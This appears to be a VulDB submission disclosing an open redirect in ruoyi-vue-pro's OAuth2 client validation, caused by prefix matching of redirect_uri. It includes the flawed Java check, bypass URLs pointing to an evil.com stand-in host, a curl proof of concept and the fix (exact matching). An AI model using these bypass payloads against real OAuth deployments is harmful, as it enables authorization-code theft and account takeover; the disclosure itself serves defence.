Soumettre #908276: zhijiantianya ruoyi-vue-pro 2026.06 重定向

An open redirect vulnerability was discovered in the OAuth2 client validation of ruoyi-vue-pro (yudao-server). The validOAuthClientFromCache() method uses StrUtils.startWithAny() to validate the redirect_uri parameter, which performs prefix matching. This allows an attacker to bypass the validation by crafting a redirect_uri that starts with a legitimate URI but redirects to an attacker-controlled domain.

Vulnerable file: yudao-module-system/src/main/java/cn/iocoder/yudao/module/system/service/oauth2/OAuth2ClientServiceImpl.java
Vulnerable method: validOAuthClientFromCache() at line 146

Vulnerable code:
```java
// Redirect URI validation
if (StrUtil.isNotEmpty(redirectUri) && !StrUtils.startWithAny(redirectUri, client.getRedirectUris())) {
throw exception(OAUTH2_CLIENT_REDIRECT_URI_NOT_MATCH, redirectUri);
}
```

Affected endpoint: POST /admin-api/system/oauth2/token

Bypass techniques:
1. Subdomain bypass: https://www.iocoder.cn.evil.com (starts with https://www.iocoder.cn)
2. Path bypass: https://www.iocoder.cn/redirect?url=https://evil.com
3. @ symbol bypass: https://[email protected]

Proof of Concept:
```bash
# Prefix bypass: redirect_uri starts with legitimate URI
curl -X POST 'http://target:48080/admin-api/system/oauth2/token' \
-H 'tenant-id: 1' \
-H 'Authorization: Basic ZGVmYXVsdDphZG1pbjEyMw==' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=authorization_code&code=validcode&redirect_uri=https://www.iocoder.cn.evil.com/callback'
# Response does not contain redirect_uri mismatch error → validation passed
```

Verification results (dynamically confirmed):
- Prefix bypass (https://www.iocoder.cn.evil.com) validation passed
- Path bypass (https://www.iocoder.cn/redirect?url=...) validation passed
- @ symbol bypass (https://[email protected]) validation passed

Impact:
1. Authorization code theft: attacker crafts malicious redirect_uri
2. Account takeover: attacker uses stolen code to obtain access_token
3. OAuth2 flow hijacking

CVSS 3.1: 6.5 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Solution:
1. Use exact matching (equals) instead of startsWith
2. Or use RFC 3986 compliant URL comparison: protocol+host+port exact match

• La source: ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-system/src/main/java/cn/iocoder/yudao/module/system/service/oauth2/OAuth2ClientServiceImpl.java
• Utilisateur: liuyulin (UID 100186)
• Soumission: 29/07/2026 03:49 (il y a 2 mois)
• Modérer: 24/09/2026 13:34 (2 months later)
• Statut: Accepté
• Entrée VulDB: 409333 [YunaiV/zhijiantianya ruoyi-vue-pro jusqu’à 2026.08 OAuth2 Client OAuth2ClientServiceImpl.java validOAuthClientFromCache redirect_uri Redirect]
• Points: 20